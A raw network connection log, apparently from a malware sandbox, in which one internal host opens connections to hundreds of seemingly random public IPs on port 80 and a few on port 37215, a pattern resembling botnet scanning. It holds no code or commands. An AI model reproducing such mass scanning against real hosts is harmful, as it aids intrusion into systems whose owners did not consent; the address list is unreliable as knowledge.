Jan 5, 2025 14:26:57.646723032 CET	56958	80	192.168.2.13	17.29.170.172
Jan 5, 2025 14:26:57.646728992 CET	56958	80	192.168.2.13	32.96.143.240
Jan 5, 2025 14:26:57.646729946 CET	56958	80	192.168.2.13	155.29.71.8
Jan 5, 2025 14:26:57.646730900 CET	56958	80	192.168.2.13	186.53.29.64
Jan 5, 2025 14:26:57.646734953 CET	56958	80	192.168.2.13	103.106.162.181
Jan 5, 2025 14:26:57.646734953 CET	56958	80	192.168.2.13	209.138.164.222
Jan 5, 2025 14:26:57.646734953 CET	56958	80	192.168.2.13	109.234.95.44
Jan 5, 2025 14:26:57.646734953 CET	56958	80	192.168.2.13	47.196.247.203
Jan 5, 2025 14:26:57.646737099 CET	56958	80	192.168.2.13	217.56.155.172
Jan 5, 2025 14:26:57.646739960 CET	56958	80	192.168.2.13	98.105.23.100
Jan 5, 2025 14:26:57.646739960 CET	56958	80	192.168.2.13	205.223.109.208
Jan 5, 2025 14:26:57.646754026 CET	56958	80	192.168.2.13	97.252.227.204
Jan 5, 2025 14:26:57.646754026 CET	56958	80	192.168.2.13	64.205.213.47
Jan 5, 2025 14:26:57.646754026 CET	56958	80	192.168.2.13	156.77.9.65
Jan 5, 2025 14:26:57.646754026 CET	56958	80	192.168.2.13	151.115.106.99
Jan 5, 2025 14:26:57.646754026 CET	56958	80	192.168.2.13	198.38.168.175
Jan 5, 2025 14:26:57.646754026 CET	56958	80	192.168.2.13	205.167.108.98
Jan 5, 2025 14:26:57.646761894 CET	56958	80	192.168.2.13	213.31.107.48
Jan 5, 2025 14:26:57.646775961 CET	56958	80	192.168.2.13	154.241.54.189
Jan 5, 2025 14:26:57.646775961 CET	56958	80	192.168.2.13	125.138.121.133
Jan 5, 2025 14:26:57.646780014 CET	56958	80	192.168.2.13	63.233.134.0
Jan 5, 2025 14:26:57.646780014 CET	56958	80	192.168.2.13	5.118.35.25
Jan 5, 2025 14:26:57.646780968 CET	56958	80	192.168.2.13	211.126.25.180
Jan 5, 2025 14:26:57.646781921 CET	56958	80	192.168.2.13	160.226.228.22
Jan 5, 2025 14:26:57.646781921 CET	56958	80	192.168.2.13	122.31.48.8
Jan 5, 2025 14:26:57.646783113 CET	56958	80	192.168.2.13	94.91.118.58
Jan 5, 2025 14:26:57.646783113 CET	56958	80	192.168.2.13	93.215.186.195
Jan 5, 2025 14:26:57.646783113 CET	56958	80	192.168.2.13	132.201.198.79
Jan 5, 2025 14:26:57.646785975 CET	56958	80	192.168.2.13	47.120.39.134
Jan 5, 2025 14:26:57.646785975 CET	56958	80	192.168.2.13	223.201.120.176
Jan 5, 2025 14:26:57.646785975 CET	56958	80	192.168.2.13	84.249.14.227
Jan 5, 2025 14:26:57.646791935 CET	56958	80	192.168.2.13	73.226.134.149
Jan 5, 2025 14:26:57.646792889 CET	56958	80	192.168.2.13	67.126.22.119
Jan 5, 2025 14:26:57.646792889 CET	56958	80	192.168.2.13	23.53.120.231
Jan 5, 2025 14:26:57.646792889 CET	56958	80	192.168.2.13	111.19.17.81
Jan 5, 2025 14:26:57.646794081 CET	56958	80	192.168.2.13	38.29.134.165
Jan 5, 2025 14:26:57.646794081 CET	56958	80	192.168.2.13	62.155.46.15
Jan 5, 2025 14:26:57.646800995 CET	56958	80	192.168.2.13	123.138.114.32
Jan 5, 2025 14:26:57.646800995 CET	56958	80	192.168.2.13	126.222.71.208
Jan 5, 2025 14:26:57.646801949 CET	56958	80	192.168.2.13	78.188.167.207
Jan 5, 2025 14:26:57.646805048 CET	56958	80	192.168.2.13	58.233.51.71
Jan 5, 2025 14:26:57.646805048 CET	56958	80	192.168.2.13	43.31.250.5
Jan 5, 2025 14:26:57.646823883 CET	56958	80	192.168.2.13	136.101.114.75
Jan 5, 2025 14:26:57.646826982 CET	56958	80	192.168.2.13	106.1.115.227
Jan 5, 2025 14:26:57.646828890 CET	56958	80	192.168.2.13	43.145.69.132
Jan 5, 2025 14:26:57.646832943 CET	56958	80	192.168.2.13	152.115.254.169
Jan 5, 2025 14:26:57.646832943 CET	56958	80	192.168.2.13	12.18.242.155
Jan 5, 2025 14:26:57.646832943 CET	56958	80	192.168.2.13	35.76.158.90
Jan 5, 2025 14:26:57.646836042 CET	56958	80	192.168.2.13	208.15.125.207
Jan 5, 2025 14:26:57.646836042 CET	56958	80	192.168.2.13	153.6.234.144
Jan 5, 2025 14:26:57.646837950 CET	56958	80	192.168.2.13	152.20.140.203
Jan 5, 2025 14:26:57.646847010 CET	56958	80	192.168.2.13	86.16.133.195
Jan 5, 2025 14:26:57.646855116 CET	56958	80	192.168.2.13	182.228.136.59
Jan 5, 2025 14:26:57.646856070 CET	56958	80	192.168.2.13	202.80.39.11
Jan 5, 2025 14:26:57.646856070 CET	56958	80	192.168.2.13	101.225.218.55
Jan 5, 2025 14:26:57.646856070 CET	56958	80	192.168.2.13	173.11.68.121
Jan 5, 2025 14:26:57.646857023 CET	56958	80	192.168.2.13	46.168.33.120
Jan 5, 2025 14:26:57.646856070 CET	56958	80	192.168.2.13	38.42.155.133
Jan 5, 2025 14:26:57.646857977 CET	56958	80	192.168.2.13	175.73.153.81
Jan 5, 2025 14:26:57.646857023 CET	56958	80	192.168.2.13	47.99.121.211
Jan 5, 2025 14:26:57.646859884 CET	56958	80	192.168.2.13	134.109.152.94
Jan 5, 2025 14:26:57.646867037 CET	56958	80	192.168.2.13	77.253.6.28
Jan 5, 2025 14:26:57.646868944 CET	56958	80	192.168.2.13	142.21.176.135
Jan 5, 2025 14:26:57.646873951 CET	56958	80	192.168.2.13	166.96.83.33
Jan 5, 2025 14:26:57.646874905 CET	56958	80	192.168.2.13	185.39.32.246
Jan 5, 2025 14:26:57.646899939 CET	56958	80	192.168.2.13	150.140.187.234
Jan 5, 2025 14:26:57.646900892 CET	56958	80	192.168.2.13	48.151.86.38
Jan 5, 2025 14:26:57.646900892 CET	56958	80	192.168.2.13	124.53.108.231
Jan 5, 2025 14:26:57.646905899 CET	56958	80	192.168.2.13	19.185.179.253
Jan 5, 2025 14:26:57.646912098 CET	56958	80	192.168.2.13	222.60.215.55
Jan 5, 2025 14:26:57.646912098 CET	56958	80	192.168.2.13	163.221.183.59
Jan 5, 2025 14:26:57.646913052 CET	56958	80	192.168.2.13	141.87.238.55
Jan 5, 2025 14:26:57.646914005 CET	56958	80	192.168.2.13	169.42.249.140
Jan 5, 2025 14:26:57.646914005 CET	56958	80	192.168.2.13	101.206.32.138
Jan 5, 2025 14:26:57.646919012 CET	56958	80	192.168.2.13	132.254.110.74
Jan 5, 2025 14:26:57.646919012 CET	56958	80	192.168.2.13	18.91.204.210
Jan 5, 2025 14:26:57.646922112 CET	56958	80	192.168.2.13	141.72.199.111
Jan 5, 2025 14:26:57.646923065 CET	56958	80	192.168.2.13	112.45.194.196
Jan 5, 2025 14:26:57.646923065 CET	56958	80	192.168.2.13	153.176.175.250
Jan 5, 2025 14:26:57.646923065 CET	56958	80	192.168.2.13	93.166.45.172
Jan 5, 2025 14:26:57.646924019 CET	56958	80	192.168.2.13	87.180.202.118
Jan 5, 2025 14:26:57.646924019 CET	56958	80	192.168.2.13	88.60.123.29
Jan 5, 2025 14:26:57.646927118 CET	56958	80	192.168.2.13	81.250.3.109
Jan 5, 2025 14:26:57.646938086 CET	56958	80	192.168.2.13	83.157.173.89
Jan 5, 2025 14:26:57.646939039 CET	56958	80	192.168.2.13	221.246.252.141
Jan 5, 2025 14:26:57.647010088 CET	38536	80	192.168.2.13	209.62.110.93
Jan 5, 2025 14:26:57.647011995 CET	40760	80	192.168.2.13	89.193.248.250
Jan 5, 2025 14:26:57.647011995 CET	46050	80	192.168.2.13	134.102.166.128
Jan 5, 2025 14:26:57.647020102 CET	34110	80	192.168.2.13	221.136.12.9
Jan 5, 2025 14:26:57.647027969 CET	53882	80	192.168.2.13	223.121.127.185
Jan 5, 2025 14:26:57.647028923 CET	49678	80	192.168.2.13	206.50.172.164
Jan 5, 2025 14:26:57.647037983 CET	50018	80	192.168.2.13	47.221.220.24
Jan 5, 2025 14:26:57.647052050 CET	39692	80	192.168.2.13	37.54.72.91
Jan 5, 2025 14:26:57.647054911 CET	52008	80	192.168.2.13	72.243.207.101
Jan 5, 2025 14:26:57.647068024 CET	51548	80	192.168.2.13	145.68.152.40
Jan 5, 2025 14:26:57.647068977 CET	58970	80	192.168.2.13	122.69.36.230
Jan 5, 2025 14:26:57.647073030 CET	32770	80	192.168.2.13	109.245.147.71
Jan 5, 2025 14:26:57.647087097 CET	60122	80	192.168.2.13	140.140.181.59
Jan 5, 2025 14:26:57.647104979 CET	39518	80	192.168.2.13	43.23.21.100
Jan 5, 2025 14:26:57.647104979 CET	60054	80	192.168.2.13	150.85.84.94
Jan 5, 2025 14:26:57.647105932 CET	41512	80	192.168.2.13	170.114.235.83
Jan 5, 2025 14:26:57.647139072 CET	45650	80	192.168.2.13	167.140.115.101
Jan 5, 2025 14:26:57.647139072 CET	58814	80	192.168.2.13	94.49.139.13
Jan 5, 2025 14:26:57.647139072 CET	45622	80	192.168.2.13	108.5.168.211
Jan 5, 2025 14:26:57.647141933 CET	32958	80	192.168.2.13	213.52.106.216
Jan 5, 2025 14:26:57.647159100 CET	44078	80	192.168.2.13	186.233.155.56
Jan 5, 2025 14:26:57.647175074 CET	45906	80	192.168.2.13	77.148.102.80
Jan 5, 2025 14:26:57.647175074 CET	49662	80	192.168.2.13	118.1.42.140
Jan 5, 2025 14:26:57.647177935 CET	53732	80	192.168.2.13	201.24.10.218
Jan 5, 2025 14:26:57.647183895 CET	55412	80	192.168.2.13	187.215.170.91
Jan 5, 2025 14:26:57.647183895 CET	37904	80	192.168.2.13	27.187.204.8
Jan 5, 2025 14:26:57.647185087 CET	50896	80	192.168.2.13	208.31.46.129
Jan 5, 2025 14:26:57.647219896 CET	46236	80	192.168.2.13	144.228.47.121
Jan 5, 2025 14:26:57.647224903 CET	44508	80	192.168.2.13	210.251.76.35
Jan 5, 2025 14:26:57.647226095 CET	50578	80	192.168.2.13	159.50.39.200
Jan 5, 2025 14:26:57.647245884 CET	40220	80	192.168.2.13	49.38.20.8
Jan 5, 2025 14:26:57.647245884 CET	53770	80	192.168.2.13	85.165.50.215
Jan 5, 2025 14:26:57.647259951 CET	58878	80	192.168.2.13	95.225.137.142
Jan 5, 2025 14:26:57.647259951 CET	47058	80	192.168.2.13	183.75.42.187
Jan 5, 2025 14:26:57.647260904 CET	34620	80	192.168.2.13	19.181.176.189
Jan 5, 2025 14:26:57.647294044 CET	58202	80	192.168.2.13	205.205.167.21
Jan 5, 2025 14:26:57.647305965 CET	39330	80	192.168.2.13	177.15.51.100
Jan 5, 2025 14:26:57.647305965 CET	59566	80	192.168.2.13	198.40.82.222
Jan 5, 2025 14:26:57.647330046 CET	42536	80	192.168.2.13	82.20.236.77
Jan 5, 2025 14:26:57.647332907 CET	37306	80	192.168.2.13	205.84.6.154
Jan 5, 2025 14:26:57.647335052 CET	51924	80	192.168.2.13	67.6.202.35
Jan 5, 2025 14:26:57.647337914 CET	57070	80	192.168.2.13	34.20.189.80
Jan 5, 2025 14:26:57.647340059 CET	41350	80	192.168.2.13	153.128.164.130
Jan 5, 2025 14:26:57.647346973 CET	59862	80	192.168.2.13	27.255.102.38
Jan 5, 2025 14:26:57.647392035 CET	50226	80	192.168.2.13	91.66.172.72
Jan 5, 2025 14:26:57.647650957 CET	33064	80	192.168.2.13	165.168.111.74
Jan 5, 2025 14:26:57.647654057 CET	44330	80	192.168.2.13	124.72.203.219
Jan 5, 2025 14:26:57.647654057 CET	36532	80	192.168.2.13	5.83.118.174
Jan 5, 2025 14:26:57.647654057 CET	60716	80	192.168.2.13	139.252.118.247
Jan 5, 2025 14:26:57.647664070 CET	52282	80	192.168.2.13	192.38.223.1
Jan 5, 2025 14:26:57.647665024 CET	43144	80	192.168.2.13	133.24.74.203
Jan 5, 2025 14:26:57.647664070 CET	37114	80	192.168.2.13	184.70.160.254
Jan 5, 2025 14:26:57.647667885 CET	45326	80	192.168.2.13	125.37.158.195
Jan 5, 2025 14:26:57.647669077 CET	59638	80	192.168.2.13	166.187.77.214
Jan 5, 2025 14:26:57.647669077 CET	44340	80	192.168.2.13	108.135.76.215
Jan 5, 2025 14:26:57.647669077 CET	41666	80	192.168.2.13	105.224.183.34
Jan 5, 2025 14:26:57.647674084 CET	58880	80	192.168.2.13	104.225.203.3
Jan 5, 2025 14:26:57.647675037 CET	52454	80	192.168.2.13	143.226.147.117
Jan 5, 2025 14:26:57.647675037 CET	52834	80	192.168.2.13	216.65.99.84
Jan 5, 2025 14:26:57.647686005 CET	48850	80	192.168.2.13	63.10.28.175
Jan 5, 2025 14:26:57.647686005 CET	60500	80	192.168.2.13	196.33.60.124
Jan 5, 2025 14:26:57.647686958 CET	40626	80	192.168.2.13	209.47.23.74
Jan 5, 2025 14:26:57.647686958 CET	55236	80	192.168.2.13	154.143.100.24
Jan 5, 2025 14:26:57.647686958 CET	41928	80	192.168.2.13	130.237.101.84
Jan 5, 2025 14:26:57.647686958 CET	57204	80	192.168.2.13	188.181.2.153
Jan 5, 2025 14:26:57.647686958 CET	42328	80	192.168.2.13	121.29.46.224
Jan 5, 2025 14:26:57.647695065 CET	46776	80	192.168.2.13	49.191.8.68
Jan 5, 2025 14:26:57.647697926 CET	59958	80	192.168.2.13	41.87.48.244
Jan 5, 2025 14:26:57.647700071 CET	56634	80	192.168.2.13	143.179.29.18
Jan 5, 2025 14:26:57.647700071 CET	43442	80	192.168.2.13	35.41.199.92
Jan 5, 2025 14:26:57.647699118 CET	53882	80	192.168.2.13	158.122.187.165
Jan 5, 2025 14:26:57.647700071 CET	40600	80	192.168.2.13	216.192.183.76
Jan 5, 2025 14:26:57.647700071 CET	39848	80	192.168.2.13	123.140.128.249
Jan 5, 2025 14:26:57.647700071 CET	55508	80	192.168.2.13	44.47.134.77
Jan 5, 2025 14:26:57.647705078 CET	52556	80	192.168.2.13	119.187.9.237
Jan 5, 2025 14:26:57.647706985 CET	35922	80	192.168.2.13	57.62.244.9
Jan 5, 2025 14:26:57.647712946 CET	50204	80	192.168.2.13	64.101.190.89
Jan 5, 2025 14:26:57.647716045 CET	45606	80	192.168.2.13	51.92.13.108
Jan 5, 2025 14:26:57.647716045 CET	42248	80	192.168.2.13	151.106.177.94
Jan 5, 2025 14:26:57.647716045 CET	46652	80	192.168.2.13	139.122.190.32
Jan 5, 2025 14:26:57.647716045 CET	41038	80	192.168.2.13	176.172.251.125
Jan 5, 2025 14:26:57.647716045 CET	59688	80	192.168.2.13	94.35.93.233
Jan 5, 2025 14:26:57.647716999 CET	38152	80	192.168.2.13	5.197.123.230
Jan 5, 2025 14:26:57.647720098 CET	46792	80	192.168.2.13	154.45.118.128
Jan 5, 2025 14:26:57.647720098 CET	47242	80	192.168.2.13	99.44.37.44
Jan 5, 2025 14:26:57.647721052 CET	58376	80	192.168.2.13	36.162.123.56
Jan 5, 2025 14:26:57.647721052 CET	38494	80	192.168.2.13	126.184.49.221
Jan 5, 2025 14:26:57.647721052 CET	51912	80	192.168.2.13	59.172.117.26
Jan 5, 2025 14:26:57.647722960 CET	51228	80	192.168.2.13	99.107.143.62
Jan 5, 2025 14:26:57.647721052 CET	55462	80	192.168.2.13	90.167.60.3
Jan 5, 2025 14:26:57.647722006 CET	56132	80	192.168.2.13	99.165.239.189
Jan 5, 2025 14:26:57.647723913 CET	38694	80	192.168.2.13	177.16.157.212
Jan 5, 2025 14:26:57.647741079 CET	46868	80	192.168.2.13	84.142.197.17
Jan 5, 2025 14:26:57.647742033 CET	44540	80	192.168.2.13	105.173.184.192
Jan 5, 2025 14:26:57.647742033 CET	47862	80	192.168.2.13	94.138.141.185
Jan 5, 2025 14:26:57.647743940 CET	41564	80	192.168.2.13	20.87.241.88
Jan 5, 2025 14:26:57.647747040 CET	55128	80	192.168.2.13	72.56.147.96
Jan 5, 2025 14:26:57.647747040 CET	33370	80	192.168.2.13	49.173.231.143
Jan 5, 2025 14:26:57.647749901 CET	54086	80	192.168.2.13	88.28.204.158
Jan 5, 2025 14:26:57.647753000 CET	47872	80	192.168.2.13	200.63.240.141
Jan 5, 2025 14:26:57.647763014 CET	56770	80	192.168.2.13	186.181.40.84
Jan 5, 2025 14:26:57.647763014 CET	51558	80	192.168.2.13	165.4.191.158
Jan 5, 2025 14:26:57.647764921 CET	51032	80	192.168.2.13	218.135.140.108
Jan 5, 2025 14:26:57.647764921 CET	35758	80	192.168.2.13	199.149.8.144
Jan 5, 2025 14:26:57.647764921 CET	58378	80	192.168.2.13	153.152.78.14
Jan 5, 2025 14:26:57.647767067 CET	47928	80	192.168.2.13	172.114.95.204
Jan 5, 2025 14:26:57.647767067 CET	46532	80	192.168.2.13	192.247.19.115
Jan 5, 2025 14:26:57.647768021 CET	38012	80	192.168.2.13	171.208.31.151
Jan 5, 2025 14:26:57.647767067 CET	42078	80	192.168.2.13	90.250.128.19
Jan 5, 2025 14:26:57.647768021 CET	42836	80	192.168.2.13	61.226.178.38
Jan 5, 2025 14:26:57.647767067 CET	57168	80	192.168.2.13	160.232.8.64
Jan 5, 2025 14:26:57.647768021 CET	45330	80	192.168.2.13	139.30.30.163
Jan 5, 2025 14:26:57.647770882 CET	42852	80	192.168.2.13	110.169.6.176
Jan 5, 2025 14:26:57.647767067 CET	38300	80	192.168.2.13	160.12.31.23
Jan 5, 2025 14:26:57.647773027 CET	59422	80	192.168.2.13	14.81.236.190
Jan 5, 2025 14:26:57.647773027 CET	51950	80	192.168.2.13	182.58.107.213
Jan 5, 2025 14:26:57.647773027 CET	45620	80	192.168.2.13	37.168.163.42
Jan 5, 2025 14:26:57.647779942 CET	56606	80	192.168.2.13	90.185.103.33
Jan 5, 2025 14:26:57.647779942 CET	38996	80	192.168.2.13	128.250.180.34
Jan 5, 2025 14:26:57.647782087 CET	44682	80	192.168.2.13	169.194.176.114
Jan 5, 2025 14:26:57.647784948 CET	46420	80	192.168.2.13	44.162.94.163
Jan 5, 2025 14:26:57.647789001 CET	38338	80	192.168.2.13	198.38.240.51
Jan 5, 2025 14:26:57.647789001 CET	52328	80	192.168.2.13	40.133.17.244
Jan 5, 2025 14:26:57.647789001 CET	41334	80	192.168.2.13	64.50.196.133
Jan 5, 2025 14:26:57.647789001 CET	60414	80	192.168.2.13	187.178.160.113
Jan 5, 2025 14:26:57.647792101 CET	34752	80	192.168.2.13	121.155.195.73
Jan 5, 2025 14:26:57.647793055 CET	60944	80	192.168.2.13	97.124.195.81
Jan 5, 2025 14:26:57.647797108 CET	57086	80	192.168.2.13	46.224.56.104
Jan 5, 2025 14:26:57.647806883 CET	40210	80	192.168.2.13	184.39.176.49
Jan 5, 2025 14:26:57.647810936 CET	59548	80	192.168.2.13	49.185.194.134
Jan 5, 2025 14:26:57.647811890 CET	54586	80	192.168.2.13	132.108.249.151
Jan 5, 2025 14:26:57.647811890 CET	51430	80	192.168.2.13	32.164.191.231
Jan 5, 2025 14:26:57.647814989 CET	54974	80	192.168.2.13	54.151.72.99
Jan 5, 2025 14:26:57.651084900 CET	80	56958	174.78.99.129	192.168.2.13
Jan 5, 2025 14:26:57.651146889 CET	56958	80	192.168.2.13	174.78.99.129
Jan 5, 2025 14:26:57.651149035 CET	80	56958	212.2.227.97	192.168.2.13
Jan 5, 2025 14:26:57.651158094 CET	80	56958	205.118.148.77	192.168.2.13
Jan 5, 2025 14:26:57.651168108 CET	80	56958	70.59.100.39	192.168.2.13
Jan 5, 2025 14:26:57.651176929 CET	80	56958	145.19.0.251	192.168.2.13
Jan 5, 2025 14:26:57.651184082 CET	56958	80	192.168.2.13	205.118.148.77
Jan 5, 2025 14:26:57.651185989 CET	80	56958	20.28.186.113	192.168.2.13
Jan 5, 2025 14:26:57.651190042 CET	56958	80	192.168.2.13	212.2.227.97
Jan 5, 2025 14:26:57.651196003 CET	80	56958	202.59.61.14	192.168.2.13
Jan 5, 2025 14:26:57.651206017 CET	56958	80	192.168.2.13	70.59.100.39
Jan 5, 2025 14:26:57.651206970 CET	80	56958	47.223.128.61	192.168.2.13
Jan 5, 2025 14:26:57.651216030 CET	80	56958	152.11.162.118	192.168.2.13
Jan 5, 2025 14:26:57.651225090 CET	80	56958	20.135.161.206	192.168.2.13
Jan 5, 2025 14:26:57.651226044 CET	56958	80	192.168.2.13	202.59.61.14
Jan 5, 2025 14:26:57.651226997 CET	56958	80	192.168.2.13	145.19.0.251
Jan 5, 2025 14:26:57.651226997 CET	56958	80	192.168.2.13	20.28.186.113
Jan 5, 2025 14:26:57.651236057 CET	56958	80	192.168.2.13	47.223.128.61
Jan 5, 2025 14:26:57.651242018 CET	56958	80	192.168.2.13	152.11.162.118
Jan 5, 2025 14:26:57.651245117 CET	56958	80	192.168.2.13	20.135.161.206
Jan 5, 2025 14:26:57.651602030 CET	80	56958	191.155.177.140	192.168.2.13
Jan 5, 2025 14:26:57.651612043 CET	80	56958	207.170.223.230	192.168.2.13
Jan 5, 2025 14:26:57.651619911 CET	80	56958	175.115.247.152	192.168.2.13
Jan 5, 2025 14:26:57.651628971 CET	80	56958	114.221.84.162	192.168.2.13
Jan 5, 2025 14:26:57.651637077 CET	80	56958	111.149.176.172	192.168.2.13
Jan 5, 2025 14:26:57.651644945 CET	80	56958	154.29.237.181	192.168.2.13
Jan 5, 2025 14:26:57.651647091 CET	56958	80	192.168.2.13	191.155.177.140
Jan 5, 2025 14:26:57.651654005 CET	80	56958	68.59.212.170	192.168.2.13
Jan 5, 2025 14:26:57.651658058 CET	56958	80	192.168.2.13	114.221.84.162
Jan 5, 2025 14:26:57.651658058 CET	56958	80	192.168.2.13	207.170.223.230
Jan 5, 2025 14:26:57.651670933 CET	80	56958	175.69.26.129	192.168.2.13
Jan 5, 2025 14:26:57.651679993 CET	80	56958	197.175.29.49	192.168.2.13
Jan 5, 2025 14:26:57.651679993 CET	56958	80	192.168.2.13	111.149.176.172
Jan 5, 2025 14:26:57.651679993 CET	56958	80	192.168.2.13	175.115.247.152
Jan 5, 2025 14:26:57.651680946 CET	56958	80	192.168.2.13	154.29.237.181
Jan 5, 2025 14:26:57.651689053 CET	80	56958	209.42.133.186	192.168.2.13
Jan 5, 2025 14:26:57.651696920 CET	80	56958	169.25.166.142	192.168.2.13
Jan 5, 2025 14:26:57.651705027 CET	80	56958	138.149.90.214	192.168.2.13
Jan 5, 2025 14:26:57.651715040 CET	80	56958	136.111.8.155	192.168.2.13
Jan 5, 2025 14:26:57.651715040 CET	56958	80	192.168.2.13	175.69.26.129
Jan 5, 2025 14:26:57.651715040 CET	56958	80	192.168.2.13	68.59.212.170
Jan 5, 2025 14:26:57.651715994 CET	56958	80	192.168.2.13	197.175.29.49
Jan 5, 2025 14:26:57.651724100 CET	56958	80	192.168.2.13	169.25.166.142
Jan 5, 2025 14:26:57.651726961 CET	56958	80	192.168.2.13	138.149.90.214
Jan 5, 2025 14:26:57.651726961 CET	80	56958	129.66.108.173	192.168.2.13
Jan 5, 2025 14:26:57.651736975 CET	80	56958	85.112.169.198	192.168.2.13
Jan 5, 2025 14:26:57.651743889 CET	80	56958	179.244.210.81	192.168.2.13
Jan 5, 2025 14:26:57.651748896 CET	56958	80	192.168.2.13	209.42.133.186
Jan 5, 2025 14:26:57.651748896 CET	56958	80	192.168.2.13	136.111.8.155
Jan 5, 2025 14:26:57.651752949 CET	80	56958	42.177.251.132	192.168.2.13
Jan 5, 2025 14:26:57.651762009 CET	80	56958	54.76.185.62	192.168.2.13
Jan 5, 2025 14:26:57.651771069 CET	80	56958	152.183.183.228	192.168.2.13
Jan 5, 2025 14:26:57.651772976 CET	56958	80	192.168.2.13	85.112.169.198
Jan 5, 2025 14:26:57.651779890 CET	80	56958	172.178.47.118	192.168.2.13
Jan 5, 2025 14:26:57.651782036 CET	56958	80	192.168.2.13	129.66.108.173
Jan 5, 2025 14:26:57.651786089 CET	56958	80	192.168.2.13	179.244.210.81
Jan 5, 2025 14:26:57.651787996 CET	80	56958	100.158.201.182	192.168.2.13
Jan 5, 2025 14:26:57.651796103 CET	80	56958	144.207.69.32	192.168.2.13
Jan 5, 2025 14:26:57.651804924 CET	80	56958	41.211.226.160	192.168.2.13
Jan 5, 2025 14:26:57.651807070 CET	56958	80	192.168.2.13	42.177.251.132
Jan 5, 2025 14:26:57.651807070 CET	56958	80	192.168.2.13	152.183.183.228
Jan 5, 2025 14:26:57.651813030 CET	80	56958	109.175.231.58	192.168.2.13
Jan 5, 2025 14:26:57.651822090 CET	80	56958	113.80.14.65	192.168.2.13
Jan 5, 2025 14:26:57.651829958 CET	56958	80	192.168.2.13	54.76.185.62
Jan 5, 2025 14:26:57.651829958 CET	56958	80	192.168.2.13	100.158.201.182
Jan 5, 2025 14:26:57.651829958 CET	56958	80	192.168.2.13	41.211.226.160
Jan 5, 2025 14:26:57.651829958 CET	56958	80	192.168.2.13	144.207.69.32
Jan 5, 2025 14:26:57.651832104 CET	80	56958	118.142.10.222	192.168.2.13
Jan 5, 2025 14:26:57.651835918 CET	56958	80	192.168.2.13	172.178.47.118
Jan 5, 2025 14:26:57.651840925 CET	80	56958	42.224.57.42	192.168.2.13
Jan 5, 2025 14:26:57.651849031 CET	80	56958	161.110.36.170	192.168.2.13
Jan 5, 2025 14:26:57.651853085 CET	56958	80	192.168.2.13	109.175.231.58
Jan 5, 2025 14:26:57.651853085 CET	56958	80	192.168.2.13	113.80.14.65
Jan 5, 2025 14:26:57.651861906 CET	80	56958	83.165.46.247	192.168.2.13
Jan 5, 2025 14:26:57.651870012 CET	56958	80	192.168.2.13	118.142.10.222
Jan 5, 2025 14:26:57.651870966 CET	80	56958	5.162.169.172	192.168.2.13
Jan 5, 2025 14:26:57.651881933 CET	80	56958	170.18.12.17	192.168.2.13
Jan 5, 2025 14:26:57.651884079 CET	56958	80	192.168.2.13	83.165.46.247
Jan 5, 2025 14:26:57.651890039 CET	80	56958	18.243.227.250	192.168.2.13
Jan 5, 2025 14:26:57.651896954 CET	56958	80	192.168.2.13	42.224.57.42
Jan 5, 2025 14:26:57.651899099 CET	80	56958	118.161.4.217	192.168.2.13
Jan 5, 2025 14:26:57.651899099 CET	56958	80	192.168.2.13	161.110.36.170
Jan 5, 2025 14:26:57.651907921 CET	80	56958	210.22.31.139	192.168.2.13
Jan 5, 2025 14:26:57.651916981 CET	56958	80	192.168.2.13	18.243.227.250
Jan 5, 2025 14:26:57.651921034 CET	56958	80	192.168.2.13	170.18.12.17
Jan 5, 2025 14:26:57.651927948 CET	56958	80	192.168.2.13	210.22.31.139
Jan 5, 2025 14:26:57.651942968 CET	56958	80	192.168.2.13	5.162.169.172
Jan 5, 2025 14:26:57.651943922 CET	56958	80	192.168.2.13	118.161.4.217
Jan 5, 2025 14:26:57.652144909 CET	80	42536	82.20.236.77	192.168.2.13
Jan 5, 2025 14:26:57.652192116 CET	42536	80	192.168.2.13	82.20.236.77
Jan 5, 2025 14:26:57.652246952 CET	45020	80	192.168.2.13	212.2.227.97
Jan 5, 2025 14:26:57.652251005 CET	35984	80	192.168.2.13	174.78.99.129
Jan 5, 2025 14:26:57.652260065 CET	53268	80	192.168.2.13	205.118.148.77
Jan 5, 2025 14:26:57.652260065 CET	37558	80	192.168.2.13	70.59.100.39
Jan 5, 2025 14:26:57.652270079 CET	34374	80	192.168.2.13	145.19.0.251
Jan 5, 2025 14:26:57.652283907 CET	40292	80	192.168.2.13	202.59.61.14
Jan 5, 2025 14:26:57.652283907 CET	41492	80	192.168.2.13	20.28.186.113
Jan 5, 2025 14:26:57.652342081 CET	42536	80	192.168.2.13	82.20.236.77
Jan 5, 2025 14:26:57.652342081 CET	42536	80	192.168.2.13	82.20.236.77
Jan 5, 2025 14:26:57.652384996 CET	33168	80	192.168.2.13	47.223.128.61
Jan 5, 2025 14:26:57.652388096 CET	49246	80	192.168.2.13	152.11.162.118
Jan 5, 2025 14:26:57.652389050 CET	42564	80	192.168.2.13	82.20.236.77
Jan 5, 2025 14:26:57.657124043 CET	80	42536	82.20.236.77	192.168.2.13
Jan 5, 2025 14:26:57.679656982 CET	53400	80	192.168.2.13	212.7.199.36
Jan 5, 2025 14:26:57.679656982 CET	40304	80	192.168.2.13	32.230.67.75
Jan 5, 2025 14:26:57.679656982 CET	39800	80	192.168.2.13	103.86.3.245
Jan 5, 2025 14:26:57.679661036 CET	39368	37215	192.168.2.13	197.39.42.34
Jan 5, 2025 14:26:57.679661036 CET	57060	80	192.168.2.13	129.158.234.92
Jan 5, 2025 14:26:57.679660082 CET	48014	80	192.168.2.13	204.72.238.16
Jan 5, 2025 14:26:57.679665089 CET	37168	80	192.168.2.13	217.9.42.229
Jan 5, 2025 14:26:57.679671049 CET	50304	37215	192.168.2.13	197.75.114.194
Jan 5, 2025 14:26:57.679671049 CET	53636	80	192.168.2.13	207.255.36.88
Jan 5, 2025 14:26:57.679673910 CET	60568	80	192.168.2.13	194.70.139.54
Jan 5, 2025 14:26:57.679673910 CET	51630	80	192.168.2.13	144.42.87.129
Jan 5, 2025 14:26:57.679677010 CET	44662	80	192.168.2.13	117.177.168.99
Jan 5, 2025 14:26:57.679694891 CET	34232	80	192.168.2.13	1.244.139.105
Jan 5, 2025 14:26:57.679697990 CET	48986	80	192.168.2.13	107.156.206.131
Jan 5, 2025 14:26:57.679697990 CET	48212	80	192.168.2.13	140.6.135.109
Jan 5, 2025 14:26:57.679697990 CET	36034	80	192.168.2.13	221.124.53.8
Jan 5, 2025 14:26:57.679698944 CET	41420	80	192.168.2.13	200.133.13.167
Jan 5, 2025 14:26:57.679698944 CET	60252	80	192.168.2.13	90.34.164.154
Jan 5, 2025 14:26:57.679702997 CET	55106	80	192.168.2.13	153.35.202.79
